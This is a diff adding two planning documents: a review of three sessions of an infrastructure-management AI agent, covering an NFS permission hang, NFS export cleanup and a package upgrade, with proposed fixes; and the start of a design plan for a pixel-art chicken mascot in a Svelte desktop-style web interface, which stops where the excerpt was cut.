- **Approval window kept expiring between retries.** User had to say "go
|
||||||
|
ahead" twice and "proceed" + "status" once each because the assent
|
||||||
|
window closed while the agent was looping on the hung commands.
|
||||||
|
- **No back-off / cap on retries.** 58 `run` calls in 7 turns, of which
|
||||||
|
~20 are essentially the same `chown :10000 /mnt/media_local && chmod
|
||||||
|
2775 …`. Once a command has timed out 3× in a row, the agent should
|
||||||
|
stop retrying and investigate *or* surface the blocker to the operator.
|
||||||
|
|
||||||
|
### Fixes needed
|
||||||
|
- (friction) **Retry cap + "investigate before retry" rule.** In
|
||||||
|
`cmd/nomos/agent.go`, hash each outgoing `run` command; if the same
|
||||||
|
hash has failed 3× in the session, refuse to issue it again. Force the
|
||||||
|
agent to either change approach (e.g. `strace`, `ps`, `lsof` to see
|
||||||
|
*why*) or surface the blocker to the operator. This single change
|
||||||
|
would have turned session 1 from 58 `run` calls into ~8 and produced
|
||||||
|
the knfsd finding on the first failure instead of the 20th.
|
||||||
|
- (friction) **SOUL.md guidance: a hung command is not a failed command.**
|
||||||
|
When a `run` times out, the agent's first instinct should be to
|
||||||
|
inspect the target (`ps aux | grep <cmd>`, `strace -f -p <pid>`,
|
||||||
|
`lsof <path>`) — not to retry the same command. The current default
|
||||||
|
(retry with different routing/wrapping) wasted 20 calls.
|
||||||
|
- (friction) **Capture the unexport → mutate → re-export pattern as a
|
||||||
|
runbook.** "Mutating an actively-exported NFS directory hangs at
|
||||||
|
`fchownat()`" is a reusable finding. It belongs as a `runbook` entity
|
||||||
|
linked to `host:strong` / `lxc:nfs-export` so the next time someone
|
||||||
|
needs to chown/chmod an exported path, the agent finds it via
|
||||||
|
`get_entity_knowledge` and unexports first.
|
||||||
|
- (friction) Approval window robustness: when an execution times out,
|
||||||
|
extend the assent window for the same plan step automatically — the
|
||||||
|
operator already approved it; we shouldn't make them re-approve
|
||||||
|
because *our* command hung.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Session 2 — `55927f0a` (2026-07-18T09:45)
|
||||||
|
|
||||||
|
**"Add NFS export of ludo-lvm (/mnt/library) from strong to ZimaOS, so ZimaOS
|
||||||
|
can see downloads/usenet/movies/ alongside the existing old-library NFS mount"**
|
||||||
|
|
||||||
|
| Metric | Value |
|
||||||
|
|---|---|
|
||||||
|
| Messages | 25 (12 user / 13 assistant) |
|
||||||
|
| Tool calls | 108 across 13 turns |
|
||||||
|
| Top tools | `run` ×49, `update_plan_step` ×13, `get_entity` ×10, `list_entities` ×6, `update_entity_attributes` ×3, `search_knowledge` ×3, `propose_plan` ×3, `get_relations` ×3, `get_knowledge_content` ×3, `get_execution_status` ×3, `upsert_knowledge` ×2, `set_goal` ×2, `create_relationship` ×2 |
|
||||||
|
| Objective | Originally: fix sabnzbd download folder to use ludo-lvm. Pivoted to: add NFS export of ludo-lvm to ZimaOS. Final outcome: just keep ludo-library (drop redundant /media/media mount) |
|
||||||
|
| Outcome | ✅ success — ZimaOS reduced to two clean tiles, fstab cleaned, knowledge + entity attrs written back |
|
||||||
|
| Severity | friction |
|
||||||
|
|
||||||
|
### What worked
|
||||||
|
- Writeback was thorough: `upsert_knowledge` ×2, `update_entity_attributes`
|
||||||
|
on `vm:zimaos` and `lxc:nfs-export`, `create_relationship` ×2. The
|
||||||
|
knowledge graph is current.
|
||||||
|
- The final cleanup was small and safe: unmount `/media/media` on ZimaOS,
|
||||||
|
remove the fstab entry, `rmdir` the empty directory, clear CasaOS caching
|
||||||
|
artifacts. Each step got its own `run` with a clear result.
|
||||||
|
- Agent correctly noticed the pivot: "wait — `/media/media` IS ludo-lvm
|
||||||
|
too, just via a double NFS hop through nfs-export. Redundant." That
|
||||||
|
insight is what turned a complex migration into a one-step cleanup.
|
||||||
|
|
||||||
|
### What didn't
|
||||||
|
- **Goal pivots were not closed cleanly.** `set_goal` was called twice —
|
||||||
|
once for the sabnzbd fix, once for the NFS export. The first goal was
|
||||||
|
implicitly abandoned when the user said "lets just keep ludo-library
|
||||||
|
then"; there's no `complete_task` for it. If the session state is keyed
|
||||||
|
on the latest `set_goal`, the first goal is orphaned in the UI.
|
||||||
|
- **Excessive fan-out on `run`.** 49 `run` calls, many of which repeat the
|
||||||
|
same diagnostic (`mount | grep`, `cat /etc/exports`, `exportfs -v`,
|
||||||
|
`ls -la /mnt/...`) across `lxc:arriman`, `lxc:jellyfin`, `lxc:nfs-export`,
|
||||||
|
`host:hubris`, `host:strong`. A single bulk "inventory this path across
|
||||||
|
these targets" tool would have collapsed 15+ runs into 1.
|
||||||
|
- **`vm:` targets aren't directly runnable.** Every ZimaOS command had to
|
||||||
|
be `ssh -o StrictHostKeyChecking=no root@192.168.8.195 '…'` from
|
||||||
|
`host:hubris`. Nested shell quoting broke once and the agent had to
|
||||||
|
re-escape. This was called out in the 2026-07-14 review and is still
|
||||||
|
open.
|
||||||
|
- **Agent over-scoped before checking with the user.** After "explain how
|
||||||
|
the migration would work", the agent produced a full multi-LXC migration
|
||||||
|
plan (move `/dev/mapper/library-library` consumers off the old volume,
|
||||||
|
migrate ZimaOS NFS export, etc.). The user replied "lets just keep
|
||||||
|
ludo-library then." A clarifying question — "do you want to migrate, or
|
||||||
|
just clean up the redundant mount?" — would have saved 4 turns.
|
||||||
|
- **Approval friction.** One execution came back with "status=cancelled,
|
||||||
|
but the assent window for this session is not active. The agent will not
|
||||||
|
auto-continue. Reply 'continue' or re-approve the plan to resume." User
|
||||||
|
had to type "proceed" to resume. This is the same assent-window-expiry
|
||||||
|
pattern from session 1.
|
||||||
|
|
||||||
|
### Fixes needed
|
||||||
|
- (friction) Track `set_goal` history per session. When a new goal is set,
|
||||||
|
the previous one should be auto-marked `complete` (or `superseded`) so
|
||||||
|
the UI doesn't show an orphaned active goal.
|
||||||
|
- (friction) Add a bulk inspection tool — e.g. `inspect_path(path, targets)`
|
||||||
|
that returns `mount`, `df`, `ls -la`, and ownership for the same path
|
||||||
|
across multiple entities in one call. Sessions like this routinely spend
|
||||||
|
15+ `run` calls gathering the same facts across hosts.
|
||||||
|
- (friction) `vm:` target support in `run`. Either expose a `qm guest exec`
|
||||||
|
wrapper or accept `vm:<slug>` as a target and route through the host. The
|
||||||
|
manual SSH-hop pattern is error-prone (nested quoting) and slow.
|
||||||
|
- (friction) SOUL.md guidance: before proposing a multi-step migration
|
||||||
|
plan, ask the user "migrate or clean up?" when both are plausible from
|
||||||
|
the prompt. This was a single extra clarification question away from a
|
||||||
|
4-turn savings.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Session 3 — `2926de4e` (2026-07-15T22:22)
|
||||||
|
|
||||||
|
**"Deploy apt updates to host:netbird-vps — 92 pending packages including
|
||||||
|
Docker CE, netbird, kernel, ZFS, and security patches."**
|
||||||
|
|
||||||
|
| Metric | Value |
|
||||||
|
|---|---|
|
||||||
|
| Messages | 9 (4 user / 5 assistant) |
|
||||||
|
| Tool calls | 27 across 5 turns |
|
||||||
|
| Top tools | `update_plan_step` ×7, `run` ×6, `set_goal` ×2, `search_knowledge` ×2, `complete_task` ×2, `upsert_knowledge` ×1, `update_entity_attributes` ×1, `propose_plan` ×1, `list_lxcs` ×1, `get_relations` ×1, `get_knowledge_content` ×1, `get_entity` ×1, `get_execution_status` ×1 |
|
||||||
|
| Objective | Two-phase: (a) fleet-wide update audit by criticality, (b) deploy the 92-package upgrade to host:netbird-vps |
|
||||||
|
| Outcome | ✅ success — 92→0 packages pending; netbird-mgmt OIDC race caught and fixed; knowledge + entity attrs written back |
|
||||||
|
| Severity | cosmetic |
|
||||||
|
|
||||||
|
### What worked
|
||||||
|
- **Two goals, two clean lifecycles.** `set_goal` → `propose_plan` →
|
||||||
|
`update_plan_step` (running/done) → `complete_task` ran twice, once for
|
||||||
|
the audit and once for the upgrade. The session is the model for how
|
||||||
|
multi-goal sessions should look.
|
||||||
|
- **Pre-existing knowledge reuse.** First `search_knowledge` found a
|
||||||
|
today-dated audit; agent used `get_knowledge_content` and presented it
|
||||||
|
without needing any `run` for the audit half. Zero wasted tool calls.
|
||||||
|
- **Long-running upgrade handled correctly.** The 92-package `apt upgrade`
|
||||||
|
hit the HTTP gateway timeout mid-run. Agent didn't retry it — it called
|
||||||
|
`get_execution_status` and then ran a verification `run`
|
||||||
|
(`apt list --upgradable | wc -l`, `uname -r`, `docker ps`) to confirm
|
||||||
|
completion server-side despite the timeout. This is the right pattern;
|
||||||
|
session 1 should have done the same.
|
||||||
|
- **Gotcha caught.** After the upgrade, `docker logs netbird-mgmt`
|
||||||
|
revealed the management container was crash-looping because it tried to
|
||||||
|
fetch OIDC config from `auth.hubris.network` before traefik/authentik
|
||||||
|
were ready. Fix: `docker restart netbird-mgmt` after ~30s. Captured in
|
||||||
|
`upsert_knowledge` as an `investigation` tagged `apt, upgrade, netbird,
|
||||||
|
docker, gotcha` linked to `host:netbird-vps`.
|
||||||
|
- `update_entity_attributes` was called on `host:netbird-vps` to record the
|
||||||
|
new kernel version. Good writeback hygiene.
|
||||||
|
|
||||||
|
### What didn't
|
||||||
|
- (cosmetic) The HTTP timeout on long-running upgrades surfaced as a
|
||||||
|
transient error to the operator. The agent handled it correctly but the
|
||||||
|
UX would be cleaner if `run` returned `PENDING` immediately for known
|
||||||
|
long-running command patterns (`apt upgrade`, `pct migrate`, `rclone
|
||||||
|
sync`, etc.) instead of timing out at the gateway.
|
||||||
|
- (cosmetic) Two `complete_task` calls in one session produced two "task
|
||||||
|
complete" bubbles. Fine, but the second one could have noted the
|
||||||
|
first-task outcome as well in its summary so the chat reads as one
|
||||||
|
coherent arc.
|
||||||
|
|
||||||
|
### Fixes needed
|
||||||
|
- (cosmetic) Long-running command detection in `run`: if the command
|
||||||
|
matches a known-long pattern, return a `PENDING` execution id with a
|
||||||
|
hint to poll `get_execution_status`, rather than blocking at the HTTP
|
||||||
|
layer for 30s and timing out. Session 3 already proved the
|
||||||
|
poll-after-timeout pattern works — make it the default for these
|
||||||
|
commands.
|
||||||
|
- (cosmetic) Encourage the agent to fold the prior task's outcome into
|
||||||
|
the next `complete_task` summary when a session has multiple goals.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Cross-session patterns
|
||||||
|
|
||||||
|
| # | Pattern | Sessions | Severity |
|
||||||
|
|---|---|---|---|
|
||||||
|
| 1 | Agent retries hung commands 20× before investigating *why* | 1 | friction |
|
||||||
|
| 2 | Approval window expires between turns forcing re-approval | 1, 2 | friction |
|
||||||
|
| 3 | `vm:` targets not directly runnable — must SSH-hop via `host:hubris` | 1, 2 | friction |
|
||||||
|
| 4 | N+1 fan-out on `run` for cross-entity fact-gathering | 1, 2 | friction |
|
||||||
|
| 5 | No retry cap — agent retries identical failing `run` 10–20× | 1 | friction |
|
||||||
|
| 6 | Goal pivots not closed (`set_goal` called twice without closing prior) | 2 | friction |
|
||||||
|
| 7 | Long-running commands hit HTTP timeout instead of returning PENDING | 3 | cosmetic |
|
||||||
|
| 8 | Agent over-scopes migration plans before checking intent | 2 | friction |
|
||||||
|
| 9 | Reusable operational gotchas (knfsd lock, OIDC race) captured as investigations, not runbooks | 1, 3 | friction |
|
||||||
|
|
||||||
|
**What consistently works well**
|
||||||
|
- Plan lifecycle: `set_goal` → `propose_plan` → `update_plan_step` →
|
||||||
|
`complete_task` is now followed in all three sessions.
|
||||||
|
- Knowledge writeback: `upsert_knowledge`, `update_entity_attributes`,
|
||||||
|
`create_relationship` are used in every session. The graph is kept
|
||||||
|
current.
|
||||||
|
- Root-cause analysis quality is high once the agent digs in (NFS
|
||||||
|
all_squash + root dir perms → knfsd fchownat hang; double NFS hop;
|
||||||
|
OIDC race condition). The problem is getting the agent to dig in
|
||||||
|
*before* the 20th retry.
|
||||||
|
|
||||||
|
**What consistently breaks**
|
||||||
|
- **Hung commands get retried instead of investigated.** Session 1's
|
||||||
|
`chown` was blocked by knfsd for 30+ minutes while the agent retried
|
||||||
|
with different routing/wrapping. Session 3's `apt upgrade` timed out
|
||||||
|
and the agent correctly polled — but that's the exception, not the
|
||||||
|
rule. The default behavior is "retry the same thing differently."
|
||||||
|
- Approval window lifetime vs. agent retry loops — when execution times
|
||||||
|
out, the assent window lapses and the operator has to re-approve even
|
||||||
|
though the *intent* was never withdrawn.
|
||||||
|
- Reusable operational fixes (unexport → mutate → re-export for NFS
|
||||||
|
dirs; `docker restart netbird-mgmt` after stack upgrade) get recorded
|
||||||
|
as `investigation` entities. They should be `runbook` entities so the
|
||||||
|
agent finds them via `get_entity_knowledge` next time and applies the
|
||||||
|
procedure instead of rediscovering it.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Improvement plan
|
||||||
|
|
||||||
|
### P0 — Friction (was blocker; downgraded after session 1 resolved)
|
||||||
|
|
||||||
|
1. **Retry cap + "investigate before retry" rule.** In
|
||||||
|
`cmd/nomos/agent.go`, hash each outgoing `run` command; if the same
|
||||||
|
hash has failed 3× in the session, refuse to issue it again. Force
|
||||||
|
the agent to either change approach (e.g. `strace`, `ps aux | grep`,
|
||||||
|
`lsof` to see *why*) or surface the blocker to the operator. This
|
||||||
|
single change would have turned session 1 from 58 `run` calls into
|
||||||
|
~8 and produced the knfsd finding on the first failure instead of
|
||||||
|
the 20th.
|
||||||
|
2. **SOUL.md guidance: a hung command is not a failed command.** When a
|
||||||
|
`run` times out, the agent's first instinct should be to inspect the
|
||||||
|
target (`ps aux | grep <cmd>`, `strace -f -p <pid>`, `lsof <path>`)
|
||||||
|
— not to retry the same command with different routing/wrapping. The
|
||||||
|
current default wasted 20 calls in session 1.
|
||||||
|
|
||||||
|
### P1 — Friction
|
||||||
|
|
||||||
|
3. **Capture operational gotchas as `runbook` entities, not just
|
||||||
|
`investigation`.** Two candidates from these sessions:
|
||||||
|
- **"Mutating an actively-exported NFS directory hangs at
|
||||||
|
`fchownat()`"** — procedure: `killall -9 chgrp chown` →
|
||||||
|
`exportfs -u <client>:<path>` → `chown`/`chmod` → `exportfs -a`.
|
||||||
|
Linked to `host:strong`, `lxc:nfs-export`.
|
||||||
|
- **"netbird-mgmt crash-loops after stack upgrade"** — procedure:
|
||||||
|
wait ~30s for traefik/authentik to come up, then
|
||||||
|
`docker restart netbird-mgmt`. Linked to `host:netbird-vps`.
|
||||||
|
Today both are `investigation` entries; the agent records them but
|
||||||
|
won't proactively apply them next time.
|
||||||
|
4. **Auto-close prior `set_goal` when a new one is set.** Mark the
|
||||||
|
previous goal `superseded` and emit a synthetic `complete_task`
|
||||||
|
summary so the UI doesn't show an orphaned active goal. (Session 2
|
||||||
|
had this.)
|
||||||
|
5. **Bulk inspection tool.** Add an MCP tool like
|
||||||
|
`inspect_path(path, targets[])` that runs `mount | grep`, `df`,
|
||||||
|
`ls -la`, and `stat` against a list of entity slugs in one call.
|
||||||
|
Sessions 1 and 2 each spent ~15 `run` calls gathering identical
|
||||||
|
facts across hosts/LXCs.
|
||||||
|
6. **`vm:` target support in `run`.** Accept `vm:<slug>` as a target
|
||||||
|
and route via `qm guest exec` on the host that owns the VM.
|
||||||
|
Eliminates the nested-quoting SSH-hop pattern that broke once in
|
||||||
|
session 2 and required manual SSH-hop workarounds in session 1.
|
||||||
|
7. **Approval window robustness.** When an execution times out, extend
|
||||||
|
the assent window for the same plan step automatically — the
|
||||||
|
operator already approved it; we shouldn't make them re-approve
|
||||||
|
because *our* command hung. Affects sessions 1 and 2.
|
||||||
|
8. **SOUL.md guidance: ask-before-migrating.** When a user request is
|
||||||
|
ambiguous between "fix in place" and "migrate," the agent should
|
||||||
|
ask one clarifying question before producing a multi-step migration
|
||||||
|
plan. Session 2 would have saved ~4 turns.
|
||||||
|
|
||||||
|
### P2 — Cosmetic
|
||||||
|
|
||||||
|
9. **Long-running command detection.** Maintain a small regex list
|
||||||
|
(`apt (upgrade|install)`, `pct migrate`, `rclone (sync|copy)`,
|
||||||
|
`dd if=`, `docker compose pull`) for commands that are known to
|
||||||
|
exceed 30s. Return `PENDING` immediately with an `execution_id`
|
||||||
|
instead of blocking at the gateway. Session 3 already uses the
|
||||||
|
poll pattern — make it the default.
|
||||||
|
10. **Multi-goal `complete_task` summaries.** When a session has more
|
||||||
|
than one `set_goal`, the final `complete_task` summary should
|
||||||
|
reference the arc of the whole session, not just the last goal.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Revised note on the original P0
|
||||||
|
|
||||||
|
The original P0 ("Diagnose `host:strong` config_mutation timeouts —
|
||||||
|
suspect SSH latency / mesh routing, raise timeout") was **wrong**. The
|
||||||
|
timeouts were not a gateway or network issue — the commands were
|
||||||
|
genuinely hanging at the kernel level because `knfsd` holds a lock on
|
||||||
|
actively-exported directories. Raising the HTTP timeout would not have
|
||||||
|
helped; the `chown` would simply hang longer. The real fix is (a) the
|
||||||
|
retry-cap/investigate-before-retry rule (P0.1 above) and (b) the
|
||||||
|
unexport → mutate → re-export runbook (P1.3).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Deferred
|
||||||
|
|
||||||
|
**P1.7 — Approval window auto-extends on execution timeout.** The assent
|
||||||
|
window lives in `autonomy_settings` and is read by `classifyAndGate`
|
||||||
|
(`internal/mcp/server.go:607`); timeout detection lives in `sshExec`
|
||||||
|
(`internal/mcp/server.go:332`). Wiring them requires the SSH-execution
|
||||||
|
path to signal back into the approval-state machine across the nomos ↔
|
||||||
|
api process boundary, and a future implementation needs to distinguish
|
||||||
|
"command genuinely hung" (knfsd case — don't extend, the command is
|
||||||
|
stuck) from "command is long-running" (apt upgrade — extend). Without
|
||||||
|
that distinction, auto-extending on every timeout would mask real hang
|
||||||
|
symptoms — exactly the misdiagnosis session 1 made. **The retry cap
|
||||||
|
(P0.1) addresses the same symptom at lower cost**: after 3 failures
|
||||||
|
the agent is forced to investigate or surface, which removes the
|
||||||
|
cascading retry storm that made the assent expiry visible in the first
|
||||||
|
place. Revisit if future sessions show the operator re-approving a
|
||||||
|
plan they never withdrew in intent (not just retrying a hung command).
|
||||||
|
|
||||||
|
**P2.9 — Long-running command PENDING detection.** A regex list of
|
||||||
|
known-long commands (`apt (upgrade|install)`, `pct migrate`, `rclone
|
||||||
|
(sync|copy)`, `dd if=`, `docker compose pull`) so `run` returns
|
||||||
|
`PENDING` immediately with an `execution_id` instead of blocking at
|
||||||
|
the HTTP gateway for 30s and timing out. **Session 3 already proved
|
||||||
|
the current poll pattern works:** the `apt upgrade` timed out at the
|
||||||
|
gateway, the agent called `get_execution_status`, then ran a
|
||||||
|
verification `run` (`apt list --upgradable | wc -l`, `uname -r`,
|
||||||
|
`docker ps`) — clean 92→0 packages result. The agent did the right
|
||||||
|
thing without any new machinery, and the retry cap (P0.1) protects
|
||||||
|
against the failure mode of this path (blind retry on timeout).
|
||||||
|
Implementing PENDING detection well requires a classifier extension
|
||||||
|
(`internal/policy`) plus a new return shape from `classifyAndGate`
|
||||||
|
that the agent loop has to learn to handle (poll instead of retry) —
|
||||||
|
a real protocol change, not a small fix. Worth doing if the
|
||||||
|
poll-after-timeout pattern proves fragile over the next few sessions;
|
||||||
|
not worth doing speculatively right now.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Verification commands
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Re-pull any session for follow-up
|
||||||
|
curl -s http://localhost:8092/sessions/1e9c7691-5815-48d1-acb4-91a6a39691c9 | jq .
|
||||||
|
curl -s http://localhost:8092/sessions/55927f0a-597e-4561-aaef-077623051432 | jq .
|
||||||
|
curl -s http://localhost:8092/sessions/2926de4e-0b73-4c3d-a2cd-ee9a42089b46 | jq .
|
||||||
|
|
||||||
|
# Confirm host:strong mutation timeout reproduces
|
||||||
|
curl -s http://localhost:8092/sessions | jq -r '.sessions[].id' | head -1 # latest session id
|
||||||
|
```
|
||||||
|
|
||||||
|
## Related files
|
||||||
|
|
||||||
|
- `cmd/nomos/agent.go` — agent loop, retry behavior, goal state
|
||||||
|
- `cmd/nomos/store.go` — `set_goal` / `complete_task` persistence
|
||||||
|
- `internal/mcp/server.go` — `run` tool, timeout handling, `get_execution_status`
|
||||||
|
- `internal/httpapi/server.go` — HTTP gateway timeout for mutations
|
||||||
|
- `nomos/SOUL.md` — agent persona, ask-before-migrate guidance candidate
|
||||||
|
- `plans/2026-07-14-activity-gaps.md` — prior session review (same patterns recurring)
|
||||||
431
plans/2026-07-20-desktop-mascot.md
Normal file
431
plans/2026-07-20-desktop-mascot.md
Normal file
@@ -0,0 +1,431 @@
|
|||||||
|
# 2026-07-20 — Desktop mascot ("Cluck")
|
||||||
|
|
||||||
|
**Status:** Implemented
|
||||||
|
|
||||||
|
> **Deviations from the original plan, applied 2026-07-20 during
|
||||||
|
> implementation:**
|
||||||
|
> - **Hatching is no longer timed.** The egg → chick transition fires
|
||||||
|
> once, on first naming (the name dialog opens on first mount of a
|
||||||
|
> fresh egg; submitting it calls `forceHatch()`). `HATCH_MS` is gone,
|
||||||
|
> `tickLifecycle` no longer advances `hatchProgress`, and the egg no
|
||||||
|
> longer plays a progressive `egg-crack` animation — it sits on
|
||||||
|
> `egg-idle` until named. `hatchProgress` is retained as a binary
|
||||||
|
> 0/1 flag so `advanceStageIfReady()` and the debug "Force hatch"
|
||||||
|
> action still work.
|
||||||
|
> - **Sprite art is PNG-sheet-based, not code-drawn pixel grids.** The
|
||||||
|
> chicken comes from a CC0 16x16 sprite-sheet pack at
|
||||||
|
> `web/public/mascot/`; the egg comes from the Onocentaur egg pack
|
||||||
|
> (also CC0). `palette.ts` was removed; `render.ts` slices 16x16
|
||||||
|
> frames from sheets instead of painting string grids. Chick and
|
||||||
|
> adult share sheets (distinguished only by render scale) until
|
||||||
|
> distinct adult art is added.
|
||||||
|
> - **The radial menu is a rounded-button column, not a circular
|
||||||
|
> ring.** The plan's polar-layout ring was found to hide labels; the
|
||||||
|
> menu now mirrors the desktop's own right-click menu styling
|
||||||
|
> (full-text buttons, nested via a "Back" breadcrumb).
|
||||||
|
> - **The sprite loop runs at ~60fps** (16ms `setTimeout`), not 30fps.
|
||||||
|
> Drag and fall motion at 30fps looked choppy on 60Hz+ displays. The
|
||||||
|
> `setTimeout`-not-`rAF` convention is preserved; `dt` is still
|
||||||
|
> clamped to 100ms. Position is applied via `transform: translate3d`
|
||||||
|
> + `will-change: transform` (compositor layer) instead of CSS
|
||||||
|
> `left`/`top` to avoid per-frame layout reflow.
|
||||||
|
> - **Egg-stage reactions are suppressed.** The stimulus bus still
|
||||||
|
> subscribes to chat/activity/events while the egg is on screen, but
|
||||||
|
> MascotLayer's emit callback drops any reaction when
|
||||||
|
> `model.stage === 'egg'` — the egg isn't "alive" yet, so playing
|
||||||
|
> alarm/eureka animations behind the naming dialog would be jarring.
|
||||||
|
> - **The mascot walks on top of windows.** The ground line is
|
||||||
|
> recomputed each tick from `wmState`: it's the top edge of the
|
||||||
|
> highest non-minimized window whose horizontal span covers the
|
||||||
|
> mascot's x, or the surface bottom when no window is beneath. When
|
||||||
|
> the mascot strolls over a window, the ground rises to that
|
||||||
|
> window's top edge; when it walks off the side, the ground drops
|
||||||
|
> and it flutter-falls to the next surface beneath (another window,
|
||||||
|
> or the desktop). This generalizes the original "walks along the
|
||||||
|
> desktop surface's bottom edge" decision to a multi-surface model.
|
||||||
|
|
||||||
|
## Why
|
||||||
|
|
||||||
|
The web control room is an OS-style desktop shell (icons, floating
|
||||||
|
windows, taskbar) but has no ambient, always-visible signal of what the
|
||||||
|
system is doing — you have to open a window to see a chat streaming, a
|
||||||
|
knowledge-graph write, or a critical signal land. The user asked for a
|
||||||
|
pixel-art chicken mascot that roams the desktop, is draggable and
|
||||||
|
interactable (Sims-style radial right-click menu with nested actions), and
|
||||||
|
is itself a tamagotchi (egg → chick → adult, nameable, persistent) that
|
||||||
|
visibly reacts to real app activity. This plan is scaffolding: every piece
|
||||||
|
(sprites, autonomous behaviors, menu actions, environment reactions) is a
|
||||||
|
data-driven registry so each can be extended independently later without
|
||||||
|
touching the engine code.
|
||||||
|
|
||||||
|
The MBSE subsystem model for this feature (Mission, Requirements,
|
||||||
|
Structural/Behavioral/Interfaces views, Verification) lives at
|
||||||
|
[docs/mascot/README.md](../docs/mascot/README.md) — read it first for the
|
||||||
|
full rationale and diagrams; this document is the concrete file-by-file
|
||||||
|
implementation plan derived from it.
|
||||||
|
|
||||||
|
**Design decisions already made with the user:**
|
||||||
|
- Renders **above windows** (desktop-pet style) — mascot layer `z-45`,
|
||||||
|
radial menu `z-[60]` (must beat the desktop's own right-click menu,
|
||||||
|
which is `z-50`).
|
||||||
|
- Art is **code-drawn pixel art** — string pixel-grids + a palette map in
|
||||||
|
TypeScript, rendered to a small canvas, no binary sprite assets.
|
||||||
|
- Movement is **gravity + ground** — walks along the desktop surface's
|
||||||
|
bottom edge (= the taskbar's top edge), flutter-falls when dropped
|
||||||
|
mid-air.
|
||||||
|
|
||||||
|
## Verified codebase facts this plan builds on
|
||||||
|
|
||||||
|
- `web/src/lib/components/desktop-shell/Desktop.svelte` — the surface div
|
||||||
|
(`relative min-h-0 flex-1 overflow-hidden`) hosts layered children: icon
|
||||||
|
layer `z-0`, `TaskLauncher` wrapper `z-10`, `WindowLayer` `z-40` — every
|
||||||
|
wrapper is `pointer-events-none` with interactive children re-enabling
|
||||||
|
`pointer-events-auto`. The desktop's own right-click menu is `fixed
|
||||||
|
z-50`, dismissed via `<svelte:window onclick={closeMenu}>` + Escape.
|
||||||
|
Bare-surface clicks are gated with `e.currentTarget === e.target`.
|
||||||
|
- Drag pattern to copy: `desktop-shell/DesktopIcon.svelte` —
|
||||||
|
`pointerdown` + `el.setPointerCapture(e.pointerId)`, a 5px movement
|
||||||
|
threshold distinguishes a click from a drag, move/up listeners attached
|
||||||
|
to the element itself (not `window`), position blended via `$derived`
|
||||||
|
between rest and drag-in-progress values.
|
||||||
|
- Game loop convention: `GraphBackground.svelte` drives its canvas with
|
||||||
|
`setTimeout(() => draw(performance.now()), 33)` (~30fps), **not**
|
||||||
|
`requestAnimationFrame` — the code comment there explains some embedding
|
||||||
|
contexts report `document.hidden=true` and suspend rAF, which would
|
||||||
|
freeze the animation; `setTimeout` keeps ticking. Follow this for the
|
||||||
|
mascot loop, and clamp `dt` to 100ms so a throttled/backgrounded tab
|
||||||
|
doesn't produce a physics-breaking huge step on resume.
|
||||||
|
- Persistence convention: hyphenated `oikos-*` localStorage keys
|
||||||
|
(`oikos-desktop-icons`, `oikos-theme`, `oikos-windows`). Window layout
|
||||||
|
uses wmkit's `persist(wm, { key: 'oikos-windows', debounce: 300,
|
||||||
|
autoRestore: true })` — mirror the 300ms debounce for `oikos-mascot`;
|
||||||
|
never write on every animation frame, only on discrete state
|
||||||
|
transitions (behavior change, drag end, stage change, rename).
|
||||||
|
- Runes idiom for cross-component client state: a `.svelte.ts` module with
|
||||||
|
module-level `$state` plus exported getter/mutator functions —
|
||||||
|
`web/src/lib/stores/theme.svelte.ts` is the canonical example
|
||||||
|
(`let current: Theme = $state(initialTheme)`, `getTheme()`,
|
||||||
|
`setTheme()`, `toggleTheme()`).
|
||||||
|
- Awareness sources, all plain Svelte stores already in the codebase:
|
||||||
|
- `web/src/lib/stores/events.ts` — `liveEvents: Writable<OikosEvent[]>`
|
||||||
|
(newest-first, capped at 200), fed by a ref-counted SSE subscription
|
||||||
|
`subscribeEvents()`. `OikosEvent.type` families: `approval.*`,
|
||||||
|
`signal.*`, `execution.*`, `health.changed`; `severity: 'info' |
|
||||||
|
'warning' | 'critical'`.
|
||||||
|
- `web/src/lib/stores/chat.ts` — `streaming: Writable<boolean>`.
|
||||||
|
- `web/src/lib/stores/activity.ts` — `activityLog` is a **derived**
|
||||||
|
store recomputed wholesale from `messages`/`planSteps`/`currentTask`
|
||||||
|
on every emission, **not an append-only log** — detecting a "new"
|
||||||
|
entry (e.g. `type === 'knowledge'`) requires diffing entry `id`s
|
||||||
|
against the previous emission, not just reacting to the store firing.
|
||||||
|
- `web/src/lib/stores/context.ts` — `summary: Writable<DashboardSummary
|
||||||
|
| null>`, `openSignalCount(summary)`.
|
||||||
|
- No `@keyframes`, no `requestAnimationFrame`, no sprite/pixel-art code
|
||||||
|
exists anywhere in the repo today — this is greenfield within the
|
||||||
|
established canvas-loop convention above.
|
||||||
|
|
||||||
|
## File layout
|
||||||
|
|
||||||
|
All new, under `web/src/lib/mascot/`:
|
||||||
|
|
||||||
|
```
|
||||||
|
types.ts PixelGrid, AnimName, MascotStage, BehaviorId, Stimulus, RadialAction
|
||||||
|
palette.ts Record<char, cssColor>; '.' = transparent
|
||||||
|
sprites.ts SPRITES: Record<MascotStage, Partial<Record<AnimName, AnimDef>>> + resolveAnim() fallback
|
||||||
|
render.ts drawFrame(ctx, grid, palette, flip) — stateless canvas painter
|
||||||
|
state.svelte.ts Tamagotchi model: module $state + mutators, debounced persist, versioned schema
|
||||||
|
behavior.ts FSM: BEHAVIORS registry + stepMascot(rt, model, now, dt)
|
||||||
|
stimuli.ts Stimulus bus: REACTIONS registry + attachStimuli(emit), ref-counted
|
||||||
|
actions.ts MASCOT_ACTIONS radial tree + registerMascotAction()
|
||||||
|
Mascot.svelte canvas sprite, 30fps loop, pointer drag/click/contextmenu
|
||||||
|
MascotLayer.svelte pointer-events-none absolute inset-0 z-45 overlay; hosts Mascot + RadialMenu + bubble
|
||||||
|
RadialMenu.svelte round nested menu, fixed z-[60]
|
||||||
|
NameDialog.svelte naming prompt (hatch + rename)
|
||||||
|
```
|
||||||
|
|
||||||
|
**Integration — 2 lines in `Desktop.svelte`:** import `MascotLayer` and
|
||||||
|
render `<MascotLayer />` inside the surface `<div>`, after `<WindowLayer
|
||||||
|
/>`, so its `absolute inset-0` shares the surface's coordinate space and
|
||||||
|
its ground line lands exactly at the surface's bottom edge (the taskbar's
|
